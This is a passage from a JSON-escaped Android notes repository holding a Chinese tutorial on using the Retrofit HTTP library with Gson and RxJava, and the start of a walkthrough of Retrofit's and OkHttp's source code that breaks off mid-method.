    "content": "\nRetrofit详解(上)\n===\n\n之前写过一篇文章[volley-retrofit-okhttp之我们该如何选择网路框架][1]来分析`Volley`与`Retrofit`之间的区别。之前一直用`Volley`比较多。但是随着`Rx`系列的走红，目前越来越多的项目使用`RxJava+Retrofit`这一黄金组合。而且`Retrofit`使用注解的方式比较方便以及`2.x`版本的提示让`Retrofit`更加完善，今天简单的来学习记录下。\n\n- 有关更多`Volley`的知识请查看[Volley源码分析][2]    \n- 有关注解更多的知识请查看[注解使用][3]\n- 有关更多`RxJava`的介绍请查看[Rx详解系列][4]\n\n简介\n---\n\n[Retrofit](http://square.github.io/retrofit/)\n\n> A type-safe HTTP client for Android and Java\n\n`type-safe`是什么鬼？    \n类型安全代码指访问被授权可以访问的内存位置。例如，类型安全代码不能从其他对象的私有字段读取值。它只从定义完善的允许方式访问类型才能读取。\n\n使用\n---\n\n`Gradle`中集成:   \n\n```java\ncompile 'com.squareup.retrofit2:retrofit:2.1.0'\n```  \n`Retrofit 2`底层默认使用自家兄弟`OKHttp`作为网络层,并且在它上面进行构建。所以不需要在想`1.x`版本那样在\n项目中显式的定义`OkHttp`依赖。所以`Retrofit`与`OkHttp`的关系是后者专注与网络请求的高效优化，而前者专注于接口的封装和调用管理等。    \n\n![image](https://github.com/CharonChui/Pictures/blob/master/retrofit_okhttp_relation.jpg?raw=true)\n\n当然你还需要在清单文件中添加网络请求的权限:   \n\n```\n<uses-permission android:name=\"android.permission.INTERNET\"/>\n```\n\n我们就以`Github`获取个人仓库的`api`来进行举例测试:   \n```java\nhttps://api.github.com/users/{user}/repos\n```\n\n- `Retrofit`会将你的`api`封装成`Java`接口   \n  ```java\n  public interface GitHubService {\n    @GET(\"users/{user}/repos\")\n    Call<List<Repo>> listRepos(@Path(\"user\") String user);\n  }\n  ```\n\n- `Retrofit`类会生成一个`GitHubService`接口的实现类:  \n\n  ```java\n  Retrofit retrofit = new Retrofit.Builder()\n      .baseUrl(\"https://api.github.com/\")\n      .build();\n  \n  GitHubService service = retrofit.create(GitHubService.class);\n  ```\n\n- 从创建的`GithubService`类返回的每个`Call`对象调用后都可以创建一个同步或异步的网络请求:   \n\n  ```java\n  Call<List<Repo>> repos = service.listRepos(\"CharonChui\");\n  ```\n\n- 上面返回的`Call`其实并不是真正的数据结果，它更像一条指令，你需要执行它:   \n\n  ```java\n  // 同步调用\n  List<Repo> data = repos.execute(); \n   \n  // 异步调用\n  repos.enqueue(new Callback<List<Repo>>() {\n    @Override\n    public void onResponse(Call<List<Repo>> call, Response<List<Repo>> response) {\n        List<Repo> data = response.body();\n        Log.i(\"@@@\", \"data size : \" + (data == null ? \"null\" : data.size() + \"\"));\n    }\n  \n    @Override\n    public void onFailure(Call<List<Repo>> call, Throwable t) {\n  \n    }\n  });\n  ```\n\n  那如何取消请求呢？ \n\n  ```java\n  repos.cancel();\n  ```\n\n上面这一部分代码，你要是拷贝运行后是运行不了的。\n当然了，因为木有`Repo`对象。但是添加`Repo`对象也是运行不了的。会报错。 \n\n```java\nProcess: com.charon.retrofitdemo, PID: 7229\njava.lang.RuntimeException: Unable to start activity ComponentInfo{com.charon.retrofitdemo/com.charon.retrofitdemo.MainActivity}: java.lang.IllegalArgumentException: Unable to create converter for java.util.List<com.charon.retrofitdemo.Repo>\n   for method GitHubService.listRepos\n   at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2281)\n   at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2331)\n   at android.app.ActivityThread.handleRelaunchActivity(ActivityThread.java:3974)\n   at android.app.ActivityThread.access$1100(ActivityThread.java:143)\n   at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1250)\n   at android.os.Handler.dispatchMessage(Handler.java:102)\n   at android.os.Looper.loop(Looper.java:136)\n   at android.app.ActivityThread.main(ActivityThread.java:5291)\n   at java.lang.reflect.Method.invokeNative(Native Method)\n   at java.lang.reflect.Method.invoke(Method.java:515)\n   at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:849)\n   at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:665)\n   at dalvik.system.NativeStart.main(Native Method)\nCaused by: java.lang.IllegalArgumentException: Unable to create converter for java.util.List<com.charon.retrofitdemo.Repo>\n   for method GitHubService.listRepos\n   at retrofit2.ServiceMethod$Builder.methodError(ServiceMethod.java:720)\n   at retrofit2.ServiceMethod$Builder.createResponseConverter(ServiceMethod.java:706)\n   at retrofit2.ServiceMethod$Builder.build(ServiceMethod.java:167)\n   at retrofit2.Retrofit.loadServiceMethod(Retrofit.java:166)\n   at retrofit2.Retrofit$1.invoke(Retrofit.java:145)\n   at $Proxy0.listRepos(Native Method)\n   at com.charon.retrofitdemo.MainActivity$override.onCreate(MainActivity.java:29)\n   at com.charon.retrofitdemo.MainActivity$override.access$dispatch(MainActivity.java)\n   at com.charon.retrofitdemo.MainActivity.onCreate(MainActivity.java:0)\n   at android.app.Activity.performCreate(Activity.java:5304)\n   at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1090)\n   at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2245)\n    ... 12 more\nCaused by: java.lang.IllegalArgumentException: Could not locate ResponseBody converter for java.util.List<com.charon.retrofitdemo.Repo>.\n Tried:\n```\n\n这是什么鬼?难道官方给的示例代码有问题？ 从`log`上面我们能看出来是返回的数据结构不匹配导致的，返回的是`ResponseBody`的转换器无法转换为`List<Repo>`。    \n\n\n`Retrofit`是一个将`API`接口转换成回调对象的类，默认情况下`Retrofit`会根绝平台提供一些默认的配置，但是它是支持配置的。   \n\nConverters(解析数据)\n---\n\n默认情况下，`Retrofit`只能将`HTTP`响应体反序列化为`OkHttp`的`ResponseBody`类型。并且通过`@Body`也只能接受`RequestBody`类型。    \n\n可以通过添加转换器来支持其他类型。它提供了6中类似的序列化类库来方便进行使用:    \n\n- Gson: com.squareup.retrofit2:converter-gson\n- Jackson: com.squareup.retrofit2:converter-jackson\n- Moshi: com.squareup.retrofit2:converter-moshi\n- Protobuf: com.squareup.retrofit2:converter-protobuf\n- Wire: com.squareup.retrofit2:converter-wire\n- Simple XML: com.squareup.retrofit2:converter-simplexml\n- Scalars (primitives, boxed, and String): com.squareup.retrofit2:converter-scalars\n\n\n我们这里通过`Gson`为例，讲解一下如何使用，首先需要在`gradle`文件中配置对应的支持模块。 \n\n```java\ncompile 'com.squareup.retrofit2:retrofit:2.1.0'\ncompile 'com.squareup.retrofit2:converter-gson:2.1.0'\n```\n\n下面是一个通过使用`GsonConverterFactory`类来指定`GitHubService`接口使用`Gson`来解析结果的配置。 \n\n```java\nRetrofit retrofit = new Retrofit.Builder()\n    .baseUrl(\"https://api.github.com\")\n    .addConverterFactory(GsonConverterFactory.create())\n    .build();\n\nGitHubService service = retrofit.create(GitHubService.class);\n```\n\n经过这些改造，就可以了，贴一下完整的代码:  \n```java\npublic interface GitHubService {\n    @GET(\"users/{user}/repos\")\n    Call<List<Repo>> listRepos(@Path(\"user\") String user);\n}\n\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        Retrofit retrofit = new Retrofit.Builder()\n                .baseUrl(\"https://api.github.com/\")\n                .addConverterFactory(GsonConverterFactory.create())\n                .build();\n\n        GitHubService service = retrofit.create(GitHubService.class);\n\n        Call<List<Repo>> call= service.listRepos(\"CharonChui\");\n\n        call.enqueue(new Callback<List<Repo>>() {\n            @Override\n            public void onResponse(Call<List<Repo>> call, Response<List<Repo>> response) {\n                List<Repo> body = response.body();\n                Log.i(\"@@@\", \"call \" + body.size());\n            }\n\n            @Override\n            public void onFailure(Call<List<Repo>> call, Throwable t) {\n\n            }\n        });\n    }\n}\n```\n\n运行上面的代码,`log`会打印出`12-14 14:43:38.900 21509-21509/com.charon.retrofitdemo I/@@@: call 26`\n\n\n到这里，我们入门的`Hello World`就完成了。 \n\n`Retrofit`支持的协议包括`GET/POST/PUT/DELETE/HEAD/PATCH`，当然你也可以直接用`HTTP` 来自定义请求。这些协议均以注解的形式进行配置，比如我们已经见过`GET`的用法.\n\n我们发现在`Retrofit`创建的时候需要传入一个`baseUrl(https://api.github.com/)`，在`GitHubService`中会通过注解设置`@GET(\"users/{user}/repos\")`，请求的完整`Url`就是通过`baseUrl`与注解的`value`也就是`path`路径结合起来组成。虽然提供了多种规则，但是统一使用下面这一种是最好的。 \n```java\n通过注解的value指定的是相对路径，baseUrl是目录形式：\npath = \"users/CharonChui/repos\"，baseUrl = \"https://api.github.com/\"\nUrl = \"https://api.github.com/users/CharonChui/repos\"\n```\n\n上面介绍的例子中使用的是`@Path`。 \n\n`@Query`及`@QueryMap`\n---\n\n假设我们有一个分页查询的功能:   \n```java\nGET(\"/list\")\nCall<ResponseBody> list(@Query(\"page\") int page);\n```\n\n这就相当于`https://api.github.com/list?page=1`这种。`Query`其实就是`Url`中`?`后面的`k-v`。而`QueryMap`就是多个查询条件。     \n\n\n`@Field`及`@FieldMap`\n---\n\n用`Post`的场景相对比较多，绝大多数的服务端接口要做加密、校验等。所以使用`Post`提交表单的场景就会很多。\n\n```java\n@FormUrlEncoded\n@POST(\"user/edit\")\nCall<User> updateUser(@Field(\"first_name\") String first, @Field(\"last_name\") String last);\n```\n\n当然`FieldMap`就是多个的版本了。  \n\n`@Part`及`@PartMap`\n---\n\n上传文件时使用。\n```java\npublic interface FileUploadService {  \n@Multipart\n@PUT(\"user/photo\")\nCall<User> updateUser(@Part(\"photo\") RequestBody photo, @Part(\"description\") RequestBody description);\n}\n```\n\n`@Headers`\n---\n\n可以通过`@Headers`来设置静态的请求头\n\n```java\n@Headers({\n    \"Accept: application/vnd.github.v3.full+json\",\n    \"User-Agent: Retrofit-Sample-App\"\n})\n@GET(\"users/{username}\")\nCall<User> getUser(@Path(\"username\") String username);\n```\n\n请求头信息可以通过`@Header`注解来动态更新\n\n```java\n@GET(\"user\")\nCall<User> getUser(@Header(\"Authorization\") String authorization)\n```\n如果传的值是`null`，该请求头将会被忽略，否则将会使用该值得`toString`。 \n\n\n`RxJava`+`Retrofit`\n---\n\n`Retrofit`如何与`RxJava`结合使用呢？ \n\n- 添加依赖\n\n  ```java\n  compile 'com.squareup.retrofit2:retrofit:2.1.0'\n  compile 'com.squareup.retrofit2:converter-gson:2.1.0'// 支持gson\n  compile 'com.squareup.retrofit2:adapter-rxjava:2.1.0'// 支持rxjava\n  \n  // rxjava part\n  compile 'io.reactivex:rxandroid:1.2.1'\n  compile 'io.reactivex:rxjava:1.2.3'\n  ```\n\n- 修改`Retrofit`的配置，让其支持`RxJava`   \n\n  ```java\n  Retrofit retrofit = new Retrofit.Builder()\n      .baseUrl(\"https://api.github.com/\")\n      .addConverterFactory(GsonConverterFactory.create())\n      .addCallAdapterFactory(RxJavaCallAdapterFactory.create()) // 支持RxJava\n      .build();\n  ```\n\n- 修改`GitHubService`，将返回值改为`Observable`，而不是`Call`。     \n\n  ```java\n  public interface GitHubService {\n      @GET(\"users/{user}/repos\")\n      Observable<List<Repo>> listRepos(@Path(\"user\") String user);\n  }\n  ```\n\n- 执行部分\n\n  ```java\n  GitHubService service = retrofit.create(GitHubService.class);\n  \n  service.listRepos(\"CharonChui\")\n      .subscribeOn(Schedulers.newThread())\n      .observeOn(AndroidSchedulers.mainThread())\n      .subscribe(new Subscriber<List<Repo>>() {\n          @Override\n          public void onCompleted() {\n              Log.i(\"@@@\", \"onCompleted\");\n          }\n  \n          @Override\n          public void onError(Throwable e) {\n              Log.i(\"@@@\", \"onError : \" + e.toString());\n          }\n  \n          @Override\n          public void onNext(List<Repo> repos) {\n              Log.i(\"@@@\", \"onNext : \" + repos.size());\n              Toast.makeText(MainActivity.this, \"size : \" + repos.size(), Toast.LENGTH_SHORT).show();\n          }\n      });\n  ```\n  \n\n  `RxJava`+`Retrofit`形式的时候，`Retrofit`把请求封装进`Observable`在请求结束后调用 `onNext()`或在请求失败后调用`onError()`。\n\n\n`Proguard`配置\n---\n\n如果项目中使用了`Proguard`，你需要添加如下配置:   \n```java\n# Platform calls Class.forName on types which do not exist on Android to determine platform.\n-dontnote retrofit2.Platform\n# Platform used when running on RoboVM on iOS. Will not be used at runtime.\n-dontnote retrofit2.Platform$IOS$MainThreadExecutor\n# Platform used when running on Java 8 VMs. Will not be used at runtime.\n-dontwarn retrofit2.Platform$Java8\n# Retain generic type information for use by reflection by converters and adapters.\n-keepattributes Signature\n# Retain declared checked exceptions for use by a Proxy instance.\n-keepattributes Exceptions\n```\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/Netowork/volley-retrofit-okhttp%E4%B9%8B%E6%88%91%E4%BB%AC%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9%E7%BD%91%E8%B7%AF%E6%A1%86%E6%9E%B6.md  \"volley-retrofit-okhttp之我们该如何选择网路框架\"\n[2]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/Netowork/Volley%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md \"Volley源码分析\"\n[3]: https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md \"注解使用\"\n[4]: https://github.com/CharonChui/AndroidNote/tree/master/RxJavaPart \"Rx详解系列\"\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit详解(下).md",
    "content": "Retrofit详解(下)\n===\n\n\n上一篇文件介绍了`Retrofit`的基本使用，接下来我们通过从源码的角度分析一下`Retrofit`的实现。    \n\n首先看一下它的基本使用方法:    \n\n```java\n// 1\nRetrofit retrofit = new Retrofit.Builder()\n        .baseUrl(\"https://api.github.com/\")\n        .addConverterFactory(GsonConverterFactory.create())\n        .build();\n// 2\nGitHubService gitHubService = retrofit.create(GitHubService.class);\n\n// 3\nCall<List<Repo>> call = gitHubService.listRepos(\"CharonChui\");\n\n// 4\ncall.enqueue(new Callback<List<Repo>>() {\n    @Override\n    public void onResponse(Call<List<Repo>> call, Response<List<Repo>> response) {\n        List<Repo> data = response.body();\n        Log.i(\"@@@\", \"data size : \" + (data == null ? \"null\" : data.size() + \"\"));\n    }\n\n    @Override\n    public void onFailure(Call<List<Repo>> call, Throwable t) {\n\n    }\n});\n```\n\n我把上面主要分为4个部分，接下来逐一分析:    \n\n1. 创建`Retrofit`并进行配置。\n---\n\n```java\nRetrofit retrofit = new Retrofit.Builder()\n  .baseUrl(\"https://api.github.com/\")\n  .addConverterFactory(GsonConverterFactory.create())\n  .build();\n```\n\n简单的一句话，却埋藏了很多。     \n\n这是典型的建造者模式、外观模式      \n\n就想平时我们写的下载模块，作为一个公共的模块，我们可以对外提供一个`DownloadManager`供外界使用，而对于里面的实现我们完全可以闭门造车。    \n\n具体`baseUrl()`、`addConverterFactory()`方法里面的具体实现就不去看了，比较简单。当然这里也用到了工厂设计模式。\n\n2. 创建对应的服务类\n---\n\n```java\nGitHubService gitHubService = retrofit.create(GitHubService.class);\n```\n\n这一部分是如何实现的呢？我们看一下`retrofit.create()`方法的实现:    \n\n```java\npublic <T> T create(final Class<T> service) {\n    Utils.validateServiceInterface(service);\n    if (validateEagerly) {\n      eagerlyValidateMethods(service);\n    }\n    return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[] { service },\n        new InvocationHandler() {\n          // 这里的Platform主要是为了检测当前的运行平台，是java还是android，会根据当前的平台来返回默认的CallAdapter\n          private final Platform platform = Platform.get();\n\n          @Override public Object invoke(Object proxy, Method method, Object... args)\n              throws Throwable {\n            // If the method is a method from Object then defer to normal invocation.\n            if (method.getDeclaringClass() == Object.class) {\n              // 代理调用\n              return method.invoke(this, args);\n            }\n            if (platform.isDefaultMethod(method)) {\n              return platform.invokeDefaultMethod(method, service, proxy, args);\n            }\n            // 1，根据动态代理的方法去生成ServiceMethod这里动态代理的方法就是listRepos方法\n            ServiceMethod serviceMethod = loadServiceMethod(method);\n            // 2，根绝ServiceMethod和参数去生成OkHttpCall，这里args是CharonChui\n            OkHttpCall okHttpCall = new OkHttpCall<>(serviceMethod, args);\n            // 3, serviceMethod去进行处理并返回Call对象，拿到这个Call对象才能去执行网络请求。\n            return serviceMethod.callAdapter.adapt(okHttpCall);\n          }\n        });\n  }\n```\n\n看到`Proxy.newProxyInstance()`就明白了，这里使用了动态代理。简单的说动态代理是在你要调用某个`Class`的方法前或后，插入你想要执行的代码。那这里要代理的是什么方法？ `Call<List<Repo>> call = gitHubService.listRepos(\"CharonChui\");`，这里就是`listRepos()`方法。   就是说在调用`listRepos()`方法时会被动态代理所拦截，然后执行`Proxy.newProxyInstance()`里面的`InvocationHandler.invoke()`中的部分。   而`invoke()`方法的三个参数分别是啥？ 分别是`Object proxy`: 代理对象，`Method method`：调用的方法，就是`listRepos()`方法，`Object... args`：方法的参数，这里是`CharonChui`。   \n\n有关动态代理介绍可以看[张孝祥老师的java1.5高新技术系列中的动态代理]()\n\n这里就不仔细介绍动态代理了，上面的代码中又分为三部分:    \n\n- `loadServiceMethod()`\n- `new OkHttpCall()`\n- `serviceMethod.callAdapter.adapt()`\n\n我们这里分别来进行分析。    \n\n- `loadServiceMethod()`\n\t实现如下:   \n\t\n\t```java\n\tServiceMethod loadServiceMethod(Method method) {\n\t    ServiceMethod result;\n\t    synchronized (serviceMethodCache) {\n\t      // ServiceMethod包含了请求的所有相关数据，以及获取请求的request和把请求结果转换成java对象，所以相比较而言较重，用缓存来提高效率。\n\t      result = serviceMethodCache.get(method);\n\t      if (result == null) {\n\t        // build\n\t        result = new ServiceMethod.Builder(this, method).build();\n\t        serviceMethodCache.put(method, result);\n\t      }\n\t    }\n\t    return result;\n\t  }\n\t```\n\t\n\t会通过缓存的方式来获取一个`ServiceMethod`类。通过缓存来保证同一个`API`的同一个方法只会创建一次。 \n\t有关`ServiceMethod`类的文档介绍是:     \n\t```java\n\tAdapts an invocation of an interface method into an HTTP call.\n\t```\n\t大体翻译一下就是将一个请求接口的方法转换到`Http Call`中调用。    \n\t\n\t而上面第一次使用的时候会通过`new ServiceMethod.Builder(this, method).build()`创建，那我们看一下它的实现:    \n\t\n\t```java\n\tpublic ServiceMethod build() {\n\t       // 创建CallAdapter用来代理Call\n\t      callAdapter = createCallAdapter();\n\t      responseType = callAdapter.responseType();\n\t      if (responseType == Response.class || responseType == okhttp3.Response.class) {\n\t        throw methodError(\"'\"\n\t            + Utils.getRawType(responseType).getName()\n\t            + \"' is not a valid response body type. Did you mean ResponseBody?\");\n\t      }\n\t      // responseConverter用来解析结果将json等返回结果解析成java对象\n\t      responseConverter = createResponseConverter();\n\t\n\t      for (Annotation annotation : methodAnnotations) {\n\t        parseMethodAnnotation(annotation);\n\t      }\n\t\n\t      if (httpMethod == null) {\n\t        throw methodError(\"HTTP method annotation is required (e.g., @GET, @POST, etc.).\");\n\t      }\n\t\n\t      if (!hasBody) {\n\t        if (isMultipart) {\n\t          throw methodError(\n\t              \"Multipart can only be specified on HTTP methods with request body (e.g., @POST).\");\n\t        }\n\t        if (isFormEncoded) {\n\t          throw methodError(\"FormUrlEncoded can only be specified on HTTP methods with \"\n\t              + \"request body (e.g., @POST).\");\n\t        }\n\t      }\n\t\n\t      int parameterCount = parameterAnnotationsArray.length;\n\t      parameterHandlers = new ParameterHandler<?>[parameterCount];\n\t      for (int p = 0; p < parameterCount; p++) {\n\t        Type parameterType = parameterTypes[p];\n\t        if (Utils.hasUnresolvableType(parameterType)) {\n\t          throw parameterError(p, \"Parameter type must not include a type variable or wildcard: %s\",\n\t              parameterType);\n\t        }\n\t\t\t//  解析对应method的注解，这里是listRepos方法的注解。\n\t        Annotation[] parameterAnnotations = parameterAnnotationsArray[p];\n\t        if (parameterAnnotations == null) {\n\t          throw parameterError(p, \"No Retrofit annotation found.\");\n\t        }\n\t        // 通过注解和参数类型，解析并赋值到parameterHandlers中\n\t        parameterHandlers[p] = parseParameter(p, parameterType, parameterAnnotations);\n\t      }\n\t\n\t      if (relativeUrl == null && !gotUrl) {\n\t        throw methodError(\"Missing either @%s URL or @Url parameter.\", httpMethod);\n\t      }\n\t      if (!isFormEncoded && !isMultipart && !hasBody && gotBody) {\n\t        throw methodError(\"Non-body HTTP method cannot contain @Body.\");\n\t      }\n\t      if (isFormEncoded && !gotField) {\n\t        throw methodError(\"Form-encoded method must contain at least one @Field.\");\n\t      }\n\t      if (isMultipart && !gotPart) {\n\t        throw methodError(\"Multipart method must contain at least one @Part.\");\n\t      }\n\t      // 创建`ServiceMethod()`对象\n\t      return new ServiceMethod<>(this);\n\t    }\n\t```\n\t总起来说，就是创建`CallAdapter`、`responseConverter`、解析注解、设置参数，然后创建`ServiceMethod`对象。   \n\t\n\t而`ServiceMethod`的构造函数如下:    \n\t```java\n\tServiceMethod(Builder<T> builder) {\n\t    this.callFactory = builder.retrofit.callFactory();\n\t    this.callAdapter = builder.callAdapter;\n\t    this.baseUrl = builder.retrofit.baseUrl();\n\t    this.responseConverter = builder.responseConverter;\n\t    this.httpMethod = builder.httpMethod;\n\t    this.relativeUrl = builder.relativeUrl;\n\t    this.headers = builder.headers;\n\t    this.contentType = builder.contentType;\n\t    this.hasBody = builder.hasBody;\n\t    this.isFormEncoded = builder.isFormEncoded;\n\t    this.isMultipart = builder.isMultipart;\n\t    this.parameterHandlers = builder.parameterHandlers;\n\t  }\n\t```\n\t\n\t看到吗？ 这一部分我们应该都稍微有点印象，因为在上一篇文章介绍使用方法的时候，基本会用到这里。 \n\n至于这里的`CallAdapter`、`ResponseConverter`、`Headers`、`ParamterHandlers`等这里就不分析了，最后我们再简单介绍下。\n\n- 创建`OkHttpCall`\n\n\t接下来会创建`OkHttpCall`，而`OkHttpCall`是`Call`的子类，那`Call`是什么鬼？ 它是具体的网络请求类。\n\t\n\t文档中对`Call`类的介绍如下:    \n\t```java\n\t/**\n\t * An invocation of a Retrofit method that sends a request to a webserver and returns a response.\n\t * Each call yields its own HTTP request and response pair. Use {@link #clone} to make multiple\n\t * calls with the same parameters to the same webserver; this may be used to implement polling or\n\t * to retry a failed call.\n\t *\n\t * <p>Calls may be executed synchronously with {@link #execute}, or asynchronously with {@link\n\t * #enqueue}. In either case the call can be canceled at any time with {@link #cancel}. A call that\n\t * is busy writing its request or reading its response may receive a {@link IOException}; this is\n\t * working as designed.\n\t *\n\t * @param <T> Successful response body type.\n\t */\n\tpublic interface Call<T> extends Cloneable {\n\t\t// 这里我特地把这句话放上，Call集成了Cloneable接口。\n\t\t// 每一个 call 对象实例只能被用一次，所以说 request 和 response 都是一一对应的。你其实可以通过 Clone 方法来创建一个一模一样的实例，这个开销是很小的。比如说：你可以在每次决定发请求前 clone 一个之前的实例。\n\t\t....\n\t}\n\t```\n\t\n\t`Retrofit`底层默认使用`OkHttp`，所以当然要创建`OkHttpCall`了。    \n\t\n\t- `serviceMethod.callAdapter.adapt(okHttpCall)`\n\t\n\t这个`CallApdater`是什么鬼？   \n\t\n\t```java\n\t/**\n\t * Adapts a {@link Call} into the type of {@code T}. Instances are created by {@linkplain Factory a\n\t * factory} which is {@linkplain Retrofit.Builder#addCallAdapterFactory(Factory) installed} into\n\t * the {@link Retrofit} instance.\n\t */\n\t```\n\t\n\t可以很简单的看出来这是一个结果类型转换的类。就是`Call`的适配器，作用就是创建/转换`Call`对象，把`Call`转换成预期的格式。`CallAdatper`创建是通过`CallAdapter.factory`工厂类进行的。`DefaultCallAdapter`为`Retrofit2`自带默认`Call`转换器，用来生成`OKHTTP`的`call`请求调用。\n\n\t\n\t而它里面的`adapt()`方法的作用呢？ \n\t\n\t```java\n\t/**\n\t   * Returns an instance of {@code T} which delegates to {@code call}.\n\t   * <p>\n\t   * For example, given an instance for a hypothetical utility, {@code Async}, this instance would\n\t   * return a new {@code Async<R>} which invoked {@code call} when run.\n\t   * <pre><code>\n\t   * &#64;Override\n\t   * public &lt;R&gt; Async&lt;R&gt; adapt(final Call&lt;R&gt; call) {\n\t   *   return Async.create(new Callable&lt;Response&lt;R&gt;&gt;() {\n\t   *     &#64;Override\n\t   *     public Response&lt;R&gt; call() throws Exception {\n\t   *       return call.execute();\n\t   *     }\n\t   *   });\n\t   * }\n\t   * </code></pre>\n\t   */\n\t  <R> T adapt(Call<R> call);\n\t```\n\t\n\t所以分析到这里我们基本明白了`retrofit.create()`方法的作用，就是将请求接口的服务类转换成`Call`，然后将`Call`的结果转换成实体类。\n\t\n3. 调用方法，得到`Call`对象\n---\n\n```java\nCall<List<Repo>> call = gitHubService.listRepos(\"CharonChui\");\n```\n\n这个就不分析了，就是在`ServiceMethod`中返回的`Call`。\n \n4. 调用`Call.enqueue()`\n---\n\n在上面分析了，这个`Call`其实是`OkHttpCall`，那我们来看一下`OkHttpCall.enqueue()`方法的实现:     \n\n```java\n@Override public void enqueue(final Callback<T> callback) {\n    if (callback == null) throw new NullPointerException(\"callback == null\");\n\n    okhttp3.Call call;\n    Throwable failure;\n\n    synchronized (this) {\n      if (executed) throw new IllegalStateException(\"Already executed.\");\n      executed = true;\n\n      call = rawCall;\n      failure = creationFailure;\n      if (call == null && failure == null) {\n        try {\n          // 调用createRawCall()方法创建Call\n          call = rawCall = createRawCall();\n        } catch (Throwable t) {\n          failure = creationFailure = t;\n        }\n      }\n    }\n\n    if (failure != null) {\n      callback.onFailure(this, failure);\n      return;\n    }\n\n    if (canceled) {\n      call.cancel();\n    }\n    // 把请求任务加入到okhttp的请求队列中，执行网络请求，注意这里的Call是okhttp3.Call\n    call.enqueue(new okhttp3.Callback() {\n      @Override public void onResponse(okhttp3.Call call, okhttp3.Response rawResponse)\n          throws IOException {\n        Response<T> response;\n        try {\n          // 解析结果，该方法内部会将OkHttp中Request的执行结果转换成对应的Java对象。\n          response = parseResponse(rawResponse);\n        } catch (Throwable e) {\n          callFailure(e);\n          return;\n        }\n        callSuccess(response);\n      }\n\n      @Override public void onFailure(okhttp3.Call call, IOException e) {\n        try {\n          callback.onFailure(OkHttpCall.this, e);\n        } catch (Throwable t) {\n          t.printStackTrace();\n        }\n      }\n\n      private void callFailure(Throwable e) {\n        try {\n          callback.onFailure(OkHttpCall.this, e);\n        } catch (Throwable t) {\n          t.printStackTrace();\n        }\n      }\n\n      private void callSuccess(Response<T> response) {\n        try {\n          callback.onResponse(OkHttpCall.this, response);\n        } catch (Throwable t) {\n          t.printStackTrace();\n        }\n      }\n    });\n  }\n```\n\n上面的部分也主要分为三部分:    \n\n- 创建Call\n- 执行网络请求\n- 解析结果 \n\n#### 第一部分：创建`Call`\n\n我们分别进行分析，首先是`createRawCall()`方法的实现:    \n```java\nprivate okhttp3.Call createRawCall() throws IOException {\n  // ServiceMethod.toRequest()方法的作用是将ServiceMethod中的网络请求相关的数据转换成一个OkHttp的网络请求所需要的Request对象。因为之前分析过所有Retrofit解析的网络请求相关的数据都是在ServiceMethod中\n  Request request = serviceMethod.toRequest(args);\n  // 调用Factory.newCall方法\n  okhttp3.Call call = serviceMethod.callFactory.newCall(request);\n  if (call == null) {\n    throw new NullPointerException(\"Call.Factory returned null.\");\n  }\n  return call;\n}\n```\n\n然后看一下`Factory.newCall()`方法:  \n```java\ninterface Factory {\n    Call newCall(Request request);\n  }\n```\n\n它的实现类是`OkHttpClient`类中的`newCall()`方法，并且创建`RealCall`对象:    \n```java\n@Override public Call newCall(Request request) {\n    return new RealCall(this, request);\n  }\n```\n\n#### 第二部分：执行网络请求\n\n这一部分是在`call.enqueue()`方法中执行的，上面我们分析了创建的`Call`最终是`RealCall`类，所以这里直接到看`RealCall.enqueue()`方法:    \n\n```java\n@Override public void enqueue(Callback responseCallback) {\n    enqueue(responseCallback, false);\n  }\n\n  void enqueue(Callback responseCallback, boolean forWebSocket) {\n    synchronized (this) {\n      if (executed) throw new IllegalStateException(\"Already Executed\");\n      executed = true;\n    }\n\n    // 调用OkHttpClient中的Dispatcher中的enqueue方法\n    client.dispatcher().enqueue(new AsyncCall(responseCallback, forWebSocket));\n  }\n```\n\n我们接着看`client.dispatcher().enqueue()`方法:\n\n```java\nsynchronized void enqueue(AsyncCall call) {\n    // maxRequests的个数是64;\n    if (runningAsyncCalls.size() < maxRequests && runningCallsForHost(call) < maxRequestsPerHost) {\n      runningAsyncCalls.add(call);\n      // 线程池执行\n      executorService().execute(call);\n    } else {\n      readyAsyncCalls.add(call);\n    }\n  }\n```   \n\n而这个参数`AsyncCall`是什么鬼？ 它是`RealCall`的内部类，它里面的`execute()`方法是如何实现的？ 只要找到该方法的实现就算是完成了。     \n\n首先看一下`AsyncCall`的声明和构造:    \n```java\nfinal class AsyncCall extends NamedRunnable {\n    private final Callback responseCallback;\n    private final boolean forWebSocket;\n\n    private AsyncCall(Callback responseCallback, boolean forWebSocket) {\n      super(\"OkHttp %s\", redactedUrl().toString());\n      this.responseCallback = responseCallback;\n      this.forWebSocket = forWebSocket;\n    }\n    ...\n  }\n```\n\n`NamedRunnable`是`Runnable`的实现类。我们看一下它的`execute()`方法:   \n```java\n@Override protected void execute() {\n      boolean signalledCallback = false;\n      try {\n        // 获取请求结果\n        Response response = getResponseWithInterceptorChain(forWebSocket);\n        if (canceled) {\n          signalledCallback = true;\n          responseCallback.onFailure(RealCall.this, new IOException(\"Canceled\"));\n        } else {\n          signalledCallback = true;\n          // 将响应结果设置给之前构造函数传递回来的回调\n          responseCallback.onResponse(RealCall.this, response);\n        }\n      } catch (IOException e) {\n        if (signalledCallback) {\n          // Do not signal the callback twice!\n          Platform.get().log(INFO, \"Callback failure for \" + toLoggableString(), e);\n        } else {\n          responseCallback.onFailure(RealCall.this, e);\n        }\n      } finally {\n        